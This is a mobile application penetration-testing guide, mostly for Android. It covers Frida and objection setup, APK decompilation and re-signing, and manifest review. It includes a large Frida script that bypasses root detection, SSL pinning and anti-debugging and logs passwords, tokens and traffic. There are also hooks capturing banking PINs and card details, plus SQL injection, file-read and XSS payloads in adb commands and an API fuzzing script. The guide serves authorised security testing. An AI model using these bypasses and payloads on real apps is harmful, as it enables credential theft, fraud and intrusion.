# Download from: https://github.com/frida/frida/releases
# For most modern devices (ARM64):
wget https://github.com/frida/frida/releases/download/16.1.8/frida-server-16.1.8-android-arm64.xz

# Extract and push to device:
unxz frida-server-16.1.8-android-arm64.xz
adb push frida-server-16.1.8-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server

# Start Frida server (requires root):
adb shell su -c "/data/local/tmp/frida-server &"

# Alternative: Non-root startup (limited functionality):
adb shell "/data/local/tmp/frida-server &"

# Verify Frida server is running:
adb shell ps | grep frida-server

# Forward Frida port:
adb forward tcp:27042 tcp:27042

Install Frida Tools on Computer:

# Install Frida command-line tools:
pip3 install frida-tools

# Verify installation:
frida --version

# Test connection:
frida-ps -U    # List processes via USB
frida-ps -H <DEVICE_IP>  # List processes via network

# List installed applications:
frida-ps -Uai

Automate Frida Server Startup:

# Create startup script:
cat > start_frida.sh << 'EOF'
#!/bin/bash
adb shell su -c "killall frida-server 2>/dev/null"
adb shell su -c "/data/local/tmp/frida-server &"
adb forward tcp:27042 tcp:27042
echo "Frida server started and port forwarded"
EOF

chmod +x start_frida.sh
./start_frida.sh

Static Analysis
#

APK Acquisition
#

Method 1: Pull from Device

# List installed packages:
adb shell pm list packages | grep -i <app_name>

# Get APK path:
adb shell pm path <package_name>
# Example output: package:/data/app/com.example.app-1/base.apk

# Pull APK:
adb pull /data/app/com.example.app-1/base.apk ./app.apk

# For split APKs (Android App Bundles):
adb shell pm path <package_name>
# May show multiple APKs - pull all:
adb pull /data/app/com.example.app-1/base.apk
adb pull /data/app/com.example.app-1/split_config.arm64_v8a.apk

Method 2: APK Download Sites (For Testing)

# Popular APK sites for legitimate testing:
# - APKMirror (apkmirror.com)
# - APKPure (apkpure.com)
# - APKMonk (apkmonk.com)

# Note: Only download APKs for legitimate testing purposes
# Verify APK integrity with:
aapt dump badging app.apk | grep package

Method 3: Google Play Store via gplaycli

# Install gplaycli:
pip3 install gplaycli

# Configure Google account:
gplaycli -c  # Follow configuration wizard

# Download APK:
gplaycli -d <package_name>
gplaycli -d com.example.app

# Download specific version:
gplaycli -d <package_name> -v <version_code>

Decompilation Tools
#

JADX-GUI (Recommended for Interactive Analysis)

# Download from: https://github.com/skylot/jadx/releases
# Extract and run:
unzip jadx-1.4.7.zip
cd jadx-1.4.7
./bin/jadx-gui

# Command line usage:
./bin/jadx -d output_folder app.apk

# Advanced options:
./bin/jadx --show-bad-code --escape-unicode -d output_folder app.apk

APKTool (For Smali Analysis and Recompilation)

# Install APKTool:
# Download from: https://ibotpeaches.github.io/Apktool/
# Or install via package manager:
brew install apktool  # macOS
sudo apt install apktool  # Ubuntu

# Decompile APK:
apktool d app.apk -o app_decompiled

# Recompile after modifications:
apktool b app_decompiled -o app_modified.apk

# Force overwrite existing files:
apktool d -f app.apk -o app_decompiled

# Keep original filenames:
apktool d --keep-broken-res app.apk -o app_decompiled

dex2jar + JD-GUI (Alternative Approach)

# Download dex2jar from: https://github.com/pxb1988/dex2jar
# Convert APK to JAR:
d2j-dex2jar.sh app.apk

# This creates app-dex2jar.jar
# Open with JD-GUI for Java source viewing
# Download JD-GUI from: http://java-decompiler.github.io/

Additional Analysis Tools

# Bytecode Viewer (All-in-one decompiler):
# Download from: https://github.com/Konloch/bytecode-viewer

# Ghidra (For native library analysis):
# Download from: https://ghidra-sre.org/

# radare2 (Command-line reverse engineering):
sudo apt install radare2
r2 app.apk

Signing Recompiled APKs
#

Method 1: uber-apk-signer (Easiest)

# Download from: https://github.com/patrickfav/uber-apk-signer/releases
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar

# Sign APK (automatically handles alignment and V1/V2 signing):
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk

# Sign with custom keystore:
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk --ks my-keystore.jks --ksAlias my-alias

Method 2: Manual Signing Process

# Step 1: Create keystore (one-time setup):
keytool -genkey -v -keystore my-release-key.keystore \
        -alias alias_name \
        -keyalg RSA \
        -keysize 2048 \
        -validity 10000

# Step 2: Align APK (important for performance):
zipalign -v 4 app_modified.apk app_aligned.apk

# Step 3: Sign APK:
apksigner sign --ks my-release-key.keystore \
               --ks-key-alias alias_name \
               --out app_signed.apk \
               app_aligned.apk

# Verify signature:
apksigner verify app_signed.apk

# Install signed APK:
adb install app_signed.apk

Method 3: jarsigner (Legacy V1 signing)

# Align first:
zipalign -v 4 app_modified.apk app_aligned.apk

# Sign with jarsigner:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
          -keystore my-release-key.keystore \
          app_aligned.apk alias_name

# Note: V1 signing only, not recommended for modern Android

AndroidManifest.xml Analysis
#

Extract and Analyze Manifest:

# Using aapt (Android Asset Packaging Tool):
aapt dump xmltree app.apk AndroidManifest.xml

# Using aapt2 (newer version):
aapt2 dump xmltree app.apk --file AndroidManifest.xml

# Using APKTool (human-readable XML):
apktool d app.apk -o app_decompiled
cat app_decompiled/AndroidManifest.xml

# Extract specific information:
aapt dump badging app.apk | grep -E "package|uses-permission|activity|service"

Critical Security Analysis Points:

1. Dangerous Application Settings:

<!-- CRITICAL: Debug mode enabled in production -->
<application android:debuggable="true">

<!-- HIGH: Allows app data backup -->
<application android:allowBackup="true">

<!-- MEDIUM: Allows clear text traffic -->
<application android:usesCleartextTraffic="true">

<!-- Check for Network Security Config -->
<application android:networkSecurityConfig="@xml/network_security_config">

2. Exported Components Analysis:

# Find exported components:
grep -A 5 'android:exported="true"' app_decompiled/AndroidManifest.xml

# Activities with intent filters (implicitly exported on older Android):
grep -B 5 -A 10 '<intent-filter>' app_decompiled/AndroidManifest.xml

# Services, receivers, and providers:
grep -E '<(service|receiver|provider)' app_decompiled/AndroidManifest.xml

3. Permissions Analysis:

# Extract all permissions:
aapt dump permissions app.apk

# Dangerous permissions:
grep 'uses-permission' app_decompiled/AndroidManifest.xml | grep -E '(WRITE_EXTERNAL_STORAGE|READ_EXTERNAL_STORAGE|CAMERA|RECORD_AUDIO|ACCESS_FINE_LOCATION|READ_CONTACTS|SEND_SMS)'

# Custom permissions defined by app:
grep 'permission android:name' app_decompiled/AndroidManifest.xml

4. URL Schemes and Deep Links:

# Find custom URL schemes:
grep -A 10 -B 5 'android:scheme' app_decompiled/AndroidManifest.xml

# Extract schemes for testing:
grep 'android:scheme' app_decompiled/AndroidManifest.xml | sed 's/.*android:scheme="\([^"]*\)".*/\1/'

Testing Exported Components:

# Test exported activities:
adb shell am start -n <package_name>/<exported_activity>
adb shell am start -n com.example.app/.SecretActivity

# Test with extras:
adb shell am start -n <package_name>/<activity> --es "key" "value"
adb shell am start -n com.example.app/.WebViewActivity --es "url" "file:///etc/passwd"

# Test exported services:
adb shell am startservice -n <package_name>/<exported_service>

# Test broadcast receivers:
adb shell am broadcast -a <action> -n <package_name>/<receiver>
adb shell am broadcast -a com.example.app.SECRET_ACTION --es "data" "payload"

# Test content providers:
adb shell content query --uri "content://<authority>/<path>"
adb shell content query --uri "content://com.example.app.provider/users"

# SQL injection in content providers:
adb shell content query --uri "content://com.example.app.provider/users/1' UNION SELECT password FROM admin--"

Deep Link Testing:

# Basic deep link test:
adb shell am start -W -a android.intent.action.VIEW -d "<scheme>://host/path"

# Examples:
adb shell am start -W -a android.intent.action.VIEW -d "myapp://profile?user_id=123"
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=javascript:alert(1)"
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=file:///etc/passwd"

# Test with malicious payloads:
adb shell am start -W -a android.intent.action.VIEW -d "myapp://pay?amount=1000000&account=attacker"

Code Review (Post-Decompilation)
#

Automated Vulnerability Scanning:

# Using MobSF:
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Upload APK at http://localhost:8000

# Using QARK (Quick Android Review Kit):
pip install qark
qark --java <decompiled_java_path> --report-type json

# Using AndroBugs:
git clone https://github.com/AndroBugs/AndroBugs_Framework.git
python AndroBugs_Framework/androbugs.py -f app.apk

Manual Code Analysis:

# Search for sensitive keywords:
grep -r -i -E "(password|secret|key|token|api_key|firebase|credential|auth)" app_decompiled/

# Hardcoded URLs and endpoints:
grep -r -E "https?://[^\"']+" app_decompiled/

# Crypto-related code:
grep -r -i -E "(encrypt|decrypt|cipher|aes|des|rsa|sha|md5)" app_decompiled/

# SQL queries (potential injection points):
grep -r -E "(SELECT|INSERT|UPDATE|DELETE|DROP)" app_decompiled/

# File operations:
grep -r -E "(FileInputStream|FileOutputStream|openFileOutput|openFileInput)" app_decompiled/

# WebView usage:
grep -r -E "(WebView|loadUrl|addJavascriptInterface)" app_decompiled/

# Network operations:
grep -r -E "(HttpURLConnection|OkHttp|Retrofit|Volley)" app_decompiled/

# Intent handling:
grep -r -E "(getIntent|putExtra|getStringExtra)" app_decompiled/

Specific Vulnerability Patterns:

1. Insecure Data Storage:

# SharedPreferences without encryption:
grep -r "getSharedPreferences\|SharedPreferences" app_decompiled/ | grep -v "EncryptedSharedPreferences"

# Internal storage issues:
grep -r "MODE_WORLD_READABLE\|MODE_WORLD_WRITABLE" app_decompiled/

# External storage usage:
grep -r "getExternalStorageDirectory\|getExternalFilesDir" app_decompiled/

# Database operations:
grep -r "SQLiteDatabase\|execSQL\|rawQuery" app_decompiled/

2. Cryptographic Issues:

# Weak algorithms:
grep -r -E "(DES|RC4|MD5|SHA1)" app_decompiled/

# Hardcoded keys/IVs:
grep -r -E "new SecretKeySpec\|IvParameterSpec" app_decompiled/

# ECB mode (insecure):
grep -r "ECB" app_decompiled/

# Insecure random:
grep -r "Random\|SecureRandom" app_decompiled/

3. Network Security:

# SSL/TLS issues:
grep -r -E "(TrustManager|HostnameVerifier|SSLSocketFactory)" app_decompiled/

# Certificate pinning bypasses:
grep -r -E "(checkServerTrusted|ALLOW_ALL_HOSTNAME_VERIFIER)" app_decompiled/

# HTTP usage:
grep -r "http://" app_decompiled/ | grep -v "https://"

4. WebView Vulnerabilities:

# JavaScript enabled:
grep -r "setJavaScriptEnabled(true)" app_decompiled/

# JavaScript interface:
grep -r "addJavascriptInterface" app_decompiled/

# File access enabled:
grep -r -E "(setAllowFileAccess|setAllowFileAccessFromFileURLs|setAllowUniversalAccessFromFileURLs)" app_decompiled/

# Mixed content:
grep -r "setMixedContentMode" app_decompiled/

Dynamic Analysis
#

Objection Usage
#

Installation and Basic Usage:

# Install objection:
pip3 install objection

# Connect to application:
objection -g <package_name> explore

# Spawn application and connect:
objection -g <package_name> explore --startup-command "android sslpinning disable"

# Connect via network:
objection -N -h <DEVICE_IP> -g <package_name> explore

# Batch commands:
objection -g <package_name> run "android sslpinning disable" "android root disable"

Essential Objection Commands:

Security Bypass:

# Disable SSL pinning:
android sslpinning disable
android sslpinning disable --quiet

# Disable root detection:
android root disable
android root simulate disable

# List current SSL pinning status:
android sslpinning list_hooks

Data Extraction:

# SharedPreferences:
android preferences list
android preferences get <filename>
android preferences get com.example.app_preferences

# SQLite databases:
android sqlite list
android sqlite connect <database_path>
android sqlite connect /data/data/com.example.app/databases/users.db

# In SQLite console:
sqlite> .tables
sqlite> .schema users
sqlite> SELECT * FROM users;
sqlite> SELECT username, password FROM users WHERE admin=1;

# Clipboard:
android clipboard get
android clipboard set "test data"

# Intents and activities:
android intent list activities
android intent start <activity_name>
android intent start_activity com.example.app.SecretActivity

# File system:
android filesystem ls /data/data/com.example.app/
android filesystem cat /data/data/com.example.app/shared_prefs/settings.xml
android filesystem download <remote_path> <local_path>
android filesystem upload <local_path> <remote_path>

Class and Method Hooking:

# Search for classes:
android hooking search classes <keyword>
android hooking search classes login
android hooking search classes crypto
android hooking search classes http

# List class methods:
android hooking list class_methods <class_name>
android hooking list class_methods com.example.app.LoginManager

# Watch method calls:
android hooking watch class_method <class_name>.<method_name> --dump-args --dump-return
android hooking watch class_method com.example.app.LoginManager.authenticateUser --dump-args

# Set return value:
android hooking set return_value <class_name>.<method_name> <value>
android hooking set return_value com.example.app.AuthManager.isAuthenticated true
android hooking set return_value com.example.app.RootDetector.isRooted false

# Generate class methods:
android hooking generate simple <class_name>

# Watch all methods in class:
android hooking watch class <class_name>
android hooking watch class com.example.app.CryptoManager

Memory and Heap Analysis:

# Memory information:
memory list modules
memory list exports <module_name>
memory dump all <output_file>

# Heap operations:
android heap search instances <class_name>
android heap evaluate <javascript_code>

# Example: Find all instances of a class
android heap search instances com.example.app.User

Advanced Frida Scripting for Android
#

Comprehensive Android Security Bypass Script:

// android_security_bypass.js
Java.perform(function() {
    console.log("[+] Android Security Bypass Script Loading...");
    
    // === Root Detection Bypass ===
    bypassRootDetection();
    
    // === SSL Pinning Bypass ===
    bypassSSLPinning();
    
    // === Anti-Debugging Bypass ===
    bypassAntiDebugging();
    
    // === Data Interception ===
    interceptSensitiveData();
    
    console.log("[+] All hooks installed successfully!");
});

function bypassRootDetection() {
    console.log("[*] Installing root detection bypasses...");
    
    // Common root detection methods
    var RootBeer = null;
    try {
        RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
        RootBeer.isRooted.implementation = function() {
            console.log("[*] RootBeer.isRooted() bypassed");
            return false;
        };
    } catch (e) {}
    
    // Runtime.exec() bypass
    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload('java.lang.String').implementation = function(command) {
        if (command.includes("su") || command.includes("which su") || command.includes("busybox")) {
            console.log("[*] Blocked Runtime.exec: " + command);
            throw Java.use("java.io.IOException").$new("Command not found");
        }
        return this.exec(command);
    };
    
    Runtime.exec.overload('[Ljava.lang.String;').implementation = function(cmdArray) {
        var command = cmdArray.join(" ");
        if (command.includes("su") || command.includes("busybox")) {
            console.log("[*] Blocked Runtime.exec array: " + command);
            throw Java.use("java.io.IOException").$new("Command not found");
        }
        return this.exec(cmdArray);
    };
    
    // File.exists() bypass for common root files
    var File = Java.use("java.io.File");
    var rootFiles = [
        "/system/app/Superuser.apk",
        "/sbin/su",
        "/system/bin/su",
        "/system/xbin/su",
        "/data/local/xbin/su",
        "/data/local/bin/su",
        "/system/sd/xbin/su",
        "/system/bin/failsafe/su",
        "/data/local/su",
        "/su/bin/su",
        "/system/bin/.ext/.su",
        "/system/usr/we-need-root/su-backup",
        "/system/xbin/daemonsu",
        "/system/etc/init.d/99SuperSUDaemon",
        "/dev/com.koushikdutta.superuser.daemon/",
        "/system/app/Kinguser.apk",
        "/system/bin/ku.sud",
        "/system/xbin/ku.sud",
        "/data/data/com.noshufou.android.su",
        "/data/data/com.kingroot.kinguser",
        "/data/data/com.kingo.root",
        "/data/data/com.smedialink.oneclickroot",
        "/data/data/com.zhiqupk.root.global",
        "/data/data/com.alephzain.framaroot"
    ];
    
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        if (rootFiles.includes(path)) {
            console.log("[*] Blocked root file check: " + path);
            return false;
        }
        return this.exists();
    };
    
    // Build.TAGS bypass
    try {
        var Build = Java.use("android.os.Build");
        Build.TAGS.value = "release-keys";
        console.log("[*] Build.TAGS set to release-keys");
    } catch (e) {}
    
    // System property checks
    var SystemProperties = null;
    try {
        SystemProperties = Java.use("android.os.SystemProperties");
        SystemProperties.get.overload('java.lang.String').implementation = function(key) {
            if (key.includes("ro.debuggable") || key.includes("ro.secure")) {
                console.log("[*] SystemProperties.get blocked: " + key);
                return "0";
            }
            if (key.includes("ro.build.tags")) {
                return "release-keys";
            }
            return this.get(key);
        };
    } catch (e) {}
}

function bypassSSLPinning() {
    console.log("[*] Installing SSL pinning bypasses...");
    
    // === TrustManager Bypass ===
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    
    // Create custom TrustManager
    var TrustManager = Java.registerClass({
        name: 'org.example.TrustManager',
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function(chain, authType) {
                console.log('[*] checkClientTrusted bypassed');
            },
            checkServerTrusted: function(chain, authType) {
                console.log('[*] checkServerTrusted bypassed');
            },
            getAcceptedIssuers: function() {
                return [];
            }
        }
    });
    
    // Hook SSLContext.init()
    SSLContext.init.implementation = function(keyManagers, trustManagers, secureRandom) {
        console.log('[*] SSLContext.init() bypassed');
        var customTrustManagers = [TrustManager.$new()];
        return this.init(keyManagers, customTrustManagers, secureRandom);
    };
    
    // === OkHttp3 Certificate Pinner Bypass ===
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
            console.log('[*] OkHttp3 CertificatePinner.check() bypassed');
        };
        
        var Builder = Java.use('okhttp3.CertificatePinner$Builder');
        Builder.add.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(pattern, pins) {
            console.log('[*] OkHttp3 CertificatePinner.Builder.add() bypassed');
            return this;
        };
    } catch (e) {
        console.log('[!] OkHttp3 not found: ' + e.message);
    }
    
    // === OkHttp2 Bypass ===
    try {
        var CertificatePinner2 = Java.use('com.squareup.okhttp.CertificatePinner');
        CertificatePinner2.check.overload('java.lang.String', 'java.security.cert.Certificate').implementation = function() {
            console.log('[*] OkHttp2 CertificatePinner.check() bypassed');
        };
    } catch (e) {}
    
    // === Apache HttpClient Bypass ===
    try {
        var DefaultHttpClient = Java.use('org.apache.http.impl.client.DefaultHttpClient');
        DefaultHttpClient.execute.overload('org.apache.http.client.methods.HttpUriRequest').implementation = function(request) {
            console.log('[*] Apache HttpClient request intercepted');
            return this.execute(request);
        };
    } catch (e) {}
    
    // === WebView SSL Error Bypass ===
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
            console.log('[*] WebView SSL error bypassed');
            handler.proceed();
        };
    } catch (e) {}
}

function bypassAntiDebugging() {
    console.log("[*] Installing anti-debugging bypasses...");
    
    // Debug flag bypass
    try {
        var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo');
        ApplicationInfo.FLAG_DEBUGGABLE.value = 0;
    } catch (e) {}
    
    // Debug.isDebuggerConnected() bypass
    try {
        var Debug = Java.use('android.os.Debug');
        Debug.isDebuggerConnected.implementation = function() {
            console.log('[*] Debug.isDebuggerConnected() bypassed');
            return false;
        };
    } catch (e) {}
    
    // TracerPid detection bypass
    var File = Java.use('java.io.File');
    var BufferedReader = Java.use('java.io.BufferedReader');
    var FileReader = Java.use('java.io.FileReader');
    
    File.$new.overload('java.lang.String').implementation = function(path) {
        if (path === '/proc/self/status') {
            console.log('[*] Blocked access to /proc/self/status');
            return File.$new('/dev/null');
        }
        return this.$new(path);
    };
}

function interceptSensitiveData() {
    console.log("[*] Installing sensitive data hooks...");
    
    // SharedPreferences interception
    var SharedPreferences = Java.use('android.content.SharedPreferences');
    var Editor = Java.use('android.content.SharedPreferences$Editor');
    
    Editor.putString.implementation = function(key, value) {
        if (key.toLowerCase().includes('password') || 
            key.toLowerCase().includes('token') ||
            key.toLowerCase().includes('secret') ||
            key.toLowerCase().includes('key')) {
            console.log('[*] SharedPreferences - Key: ' + key + ', Value: ' + value);
        }
        return this.putString(key, value);
    };
    
    SharedPreferences.getString.implementation = function(key, defValue) {
        var result = this.getString(key, defValue);
        if (key.toLowerCase().includes('password') || 
            key.toLowerCase().includes('token') ||
            key.toLowerCase().includes('secret')) {
            console.log('[*] SharedPreferences GET - Key: ' + key + ', Value: ' + result);
        }
        return result;
    };
    
    // SQLite operations
    try {
        var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
        
        SQLiteDatabase.execSQL.overload('java.lang.String').implementation = function(sql) {
            console.log('[*] SQLite execSQL: ' + sql);
            return this.execSQL(sql);
        };
        
        SQLiteDatabase.rawQuery.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(sql, selectionArgs) {
            console.log('[*] SQLite rawQuery: ' + sql);
            if (selectionArgs) {
                console.log('[*] Selection Args: ' + selectionArgs.toString());
            }
            return this.rawQuery(sql, selectionArgs);
        };
    } catch (e) {}
    
    // HTTP request/response interception
    interceptNetworkTraffic();
    
    // Clipboard monitoring
    try {
        var ClipboardManager = Java.use('android.content.ClipboardManager');
        ClipboardManager.setPrimaryClip.implementation = function(clip) {
            console.log('[*] Clipboard data set: ' + clip.toString());
            return this.setPrimaryClip(clip);
        };
    } catch (e) {}
    
    // Intent data interception
    var Intent = Java.use('android.content.Intent');
    Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function(key, value) {
        console.log('[*] Intent putExtra - Key: ' + key + ', Value: ' + value);
        return this.putExtra(key, value);
    };
    
    Intent.getStringExtra.implementation = function(key) {
        var result = this.getStringExtra(key);
        console.log('[*] Intent getStringExtra - Key: ' + key + ', Value: ' + result);
        return result;
    };
}

function interceptNetworkTraffic() {
    console.log("[*] Installing network traffic hooks...");
    
    // OkHttp3 Request/Response interception
    try {
        var Request = Java.use('okhttp3.Request');
        var RequestBody = Java.use('okhttp3.RequestBody');
        var Response = Java.use('okhttp3.Response');
        var ResponseBody = Java.use('okhttp3.ResponseBody');
        
        // Intercept requests
        var OkHttpClient = Java.use('okhttp3.OkHttpClient');
        OkHttpClient.newCall.implementation = function(request) {
            console.log('[*] OkHttp3 Request: ' + request.url().toString());
            console.log('[*] Method: ' + request.method());
            
            var headers = request.headers();
            var headerNames = headers.names().toArray();
            for (var i = 0; i < headerNames.length; i++) {
                console.log('[*] Header: ' + headerNames[i] + ' = ' + headers.get(headerNames[i]));
            }
            
            var body = request.body();
            if (body) {
                try {
                    var buffer = Java.use('okio.Buffer').$new();
                    body.writeTo(buffer);
                    console.log('[*] Request Body: ' + buffer.readUtf8());
                } catch (e) {
                    console.log('[*] Could not read request body: ' + e.message);
                }
            }
            
            return this.newCall(request);
        };
        
    } catch (e) {
        console.log('[!] OkHttp3 not available: ' + e.message);
    }
    
    // HttpURLConnection interception
    try {
        var HttpURLConnection = Java.use('java.net.HttpURLConnection');
        var URL = Java.use('java.net.URL');
        
        HttpURLConnection.getInputStream.implementation = function() {
            console.log('[*] HttpURLConnection GET: ' + this.getURL().toString());
            return this.getInputStream();
        };
        
        HttpURLConnection.getOutputStream.implementation = function() {
            console.log('[*] HttpURLConnection POST: ' + this.getURL().toString());
            return this.getOutputStream();
        };
        
    } catch (e) {}
}

// Hook WebView for potential XSS/URL manipulation
try {
    var WebView = Java.use('android.webkit.WebView');
    
    WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
        console.log('[*] WebView loadUrl: ' + url);
        return this.loadUrl(url);
    };
    
    WebView.loadData.overload('java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function(data, mimeType, encoding) {
        console.log('[*] WebView loadData: ' + data.substring(0, 200) + '...');
        return this.loadData(data, mimeType, encoding);
    };
    
    WebView.addJavascriptInterface.implementation = function(obj, name) {
        console.log('[*] WebView addJavascriptInterface: ' + name);
        return this.addJavascriptInterface(obj, name);
    };
    
} catch (e) {}

// Initialize the script
console.log("[+] Android Security Bypass Script Loaded Successfully!");

Usage:

# Save as android_security_bypass.js
# Run with target app:
frida -U -f <package_name> -l android_security_bypass.js --no-pause

# Or attach to running app:
frida -U <package_name> -l android_security_bypass.js

# For specific targeting:
frida -U -f com.example.app -l android_security_bypass.js --no-pause

Runtime Application Testing
#

Dynamic Testing with ADB:

# Monitor logs in real-time:
adb logcat | grep <package_name>

# Monitor specific log levels:
adb logcat *:E  # Errors only
adb logcat *:W  # Warnings and above
adb logcat | grep -E "(password|token|secret|key)"

# Monitor file system access:
adb shell strace -f -e trace=openat -p $(adb shell pidof <package_name>)

# Monitor network connections:
adb shell netstat -an | grep <package_name>
adb shell ss -tulpn | grep <package_name>

Memory Analysis:

# Dump memory of running process:
adb shell su -c "cat /proc/$(pidof <package_name>)/maps"

# Create memory dump:
adb shell su -c "gcore $(pidof <package_name>)"

# Search for strings in memory:
adb shell su -c "strings /proc/$(pidof <package_name>)/mem | grep -E '(password|token|key)'"

Real-time Data Monitoring:

# Monitor SharedPreferences changes:
adb shell su -c "inotifywait -m /data/data/<package_name>/shared_prefs/"

# Monitor database changes:
adb shell su -c "inotifywait -m /data/data/<package_name>/databases/"

# Monitor file system writes:
adb shell su -c "inotifywait -m -r /data/data/<package_name>/"

General Mobile Security Considerations
#

OWASP Mobile Top 10 (2024)
#

M1: Improper Credential Usage

  • Hardcoded credentials in code
  • Weak credential storage
  • Credential transmission issues

M2: Inadequate Supply Chain Security

  • Third-party library vulnerabilities
  • Unverified software components
  • Compromised development tools

M3: Insecure Authentication/Authorization

  • Weak authentication schemes
  • Poor session management
  • Inadequate authorization checks

M4: Insufficient Input/Output Validation

  • SQL injection vulnerabilities
  • Cross-site scripting (XSS)
  • Path traversal attacks

M5: Insecure Communication

  • Unencrypted data transmission
  • Weak TLS implementations
  • Certificate validation issues

M6: Inadequate Privacy Controls

  • Excessive data collection
  • Poor privacy policy implementation
  • Inadequate user consent

M7: Insufficient Binary Protections

  • Lack of code obfuscation
  • Missing anti-tampering measures
  • Weak reverse engineering protections

M8: Security Misconfiguration

  • Insecure default settings
  • Improper permissions
  • Debug features in production

M9: Insecure Data Storage

  • Unencrypted local storage
  • Inadequate keychain usage
  • Poor database security

M10: Insufficient Cryptography

  • Weak encryption algorithms
  • Poor key management
  • Cryptographic implementation flaws

Cross-Platform Testing Tools
#

Static Analysis Tools:

# MobSF (supports both iOS and Android):
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# QARK (Android focused):
pip install qark
qark --apk app.apk

# Semgrep (multi-language):
pip install semgrep
semgrep --config=auto /path/to/source

# CodeQL (GitHub's semantic analysis):
codeql database create mobile-db --language=java --source-root=/path/to/source
codeql database analyze mobile-db --format=json --output=results.json

Dynamic Analysis Tools:

# Frida (cross-platform):
pip install frida-tools

# Objection (cross-platform):
pip install objection

# Genymotion (Android emulation):
# Download from: https://www.genymotion.com/

# Corellium (cloud-based iOS/Android):
# Commercial solution: https://corellium.com/

Network Analysis:

# mitmproxy (alternative to Burp):
pip install mitmproxy
mitmproxy -p 8080

# Charles Proxy:
# Download from: https://www.charlesproxy.com/

# Wireshark for packet analysis:
sudo apt install wireshark

Advanced Techniques & Payloads
#

Binary Patching
#

Android APK Patching:

# Patch smali code example:
# 1. Decompile APK
apktool d app.apk -o app_decompiled

# 2. Locate method to patch (e.g., root detection)
grep -r "isRooted" app_decompiled/smali/

# 3. Edit smali file to change return value:
# Change: return v0
# To:     const/4 v0, 0x0
#         return v0

# 4. Recompile and sign
apktool b app_decompiled -o app_patched.apk
java -jar uber-apk-signer-1.3.0.jar --apks app_patched.apk

iOS Binary Patching:

# Using Hopper Disassembler or Ghidra:
# 1. Load binary in disassembler
# 2. Find target function (e.g., jailbreak detection)
# 3. Patch assembly to return desired value
# 4. Save patched binary
# 5. Re-sign IPA with new binary

# Using class-dump for header analysis:
class-dump /path/to/app.app/app > headers.h

Custom Frida Scripts for Specific Scenarios
#

Banking App Security Testing:

// banking_security_test.js
Java.perform(function() {
    // Hook PIN validation
    try {
        var PinManager = Java.use("com.bank.security.PinManager");
        PinManager.validatePin.implementation = function(pin) {
            console.log("[*] PIN entered: " + pin);
            var result = this.validatePin(pin);
            console.log("[*] PIN validation result: " + result);
            return result;
        };
    } catch (e) {}
    
    // Hook transaction methods
    try {
        var TransactionManager = Java.use("com.bank.core.TransactionManager");
        TransactionManager.transferMoney.implementation = function(fromAccount, toAccount, amount) {
            console.log("[*] Money transfer - From: " + fromAccount + ", To: " + toAccount + ", Amount: " + amount);
            return this.transferMoney(fromAccount, toAccount, amount);
        };
    } catch (e) {}
    
    // Hook biometric authentication
    try {
        var BiometricManager = Java.use("androidx.biometric.BiometricManager");
        BiometricManager.authenticate.implementation = function() {
            console.log("[*] Biometric authentication bypassed");
            // Could force success here for testing
            return this.authenticate();
        };
    } catch (e) {}
});

E-commerce App Testing:

// ecommerce_test.js
Java.perform(function() {
    // Hook price calculations
    try {
        var PriceCalculator = Java.use("com.shop.core.PriceCalculator");
        PriceCalculator.calculateTotal.implementation = function(items, discounts) {
            console.log("[*] Calculating price for items: " + items.toString());
            var result = this.calculateTotal(items, discounts);
            console.log("[*] Total price: " + result);
            
            // Test: Try to manipulate price
            // return Java.use("java.math.BigDecimal").$new("0.01");
            
            return result;
        };
    } catch (e) {}
    
    // Hook payment processing
    try {
        var PaymentProcessor = Java.use("com.shop.payment.PaymentProcessor");
        PaymentProcessor.processPayment.implementation = function(amount, cardDetails) {
            console.log("[*] Processing payment - Amount: " + amount);
            console.log("[*] Card details: " + cardDetails.toString());
            return this.processPayment(amount, cardDetails);
        };
    } catch (e) {}
});

API Security Testing
#

Automated API Testing:

# Extract API endpoints from app:
grep -r -E "https?://[^\"']+" app_decompiled/ | grep -E "api|service" > endpoints.txt

# Test with ffuf:
ffuf -w endpoints.txt -u FUZZ -mc 200,201,202,204,301,302,307,401,403

# Test with nuclei:
nuclei -l endpoints.txt -t /path/to/nuclei-templates/

# Custom API testing script:
cat > api_test.py << 'EOF'
import requests
import json

def test_api_endpoint(base_url, endpoints):
    for endpoint in endpoints:
        # Test without authentication
        r = requests.get(f"{base_url}{endpoint}")
        print(f"GET {endpoint}: {r.status_code}")
        
        # Test with common payloads
        payloads = ["'", "1' OR '1'='1", "../../../etc/passwd", "<script>alert(1)</script>"]
        for payload in payloads:
            r = requests.get(f"{base_url}{endpoint}?id={payload}")
            if r.status_code != 400:
                print(f"Potential vulnerability: {endpoint} with payload {payload}")

# Usage
endpoints = ["/api/users", "/api/transactions", "/api/profile"]
test_api_endpoint("https://api.example.com", endpoints)
EOF

Business Logic Vulnerability Testing
#

Common Business Logic Tests:

# Race condition testing:
cat > race_condition_test.py << 'EOF'
import requests
import threading
import time

def make_request(url, data):
    return requests.post(url, json=data)

def race_condition_test():
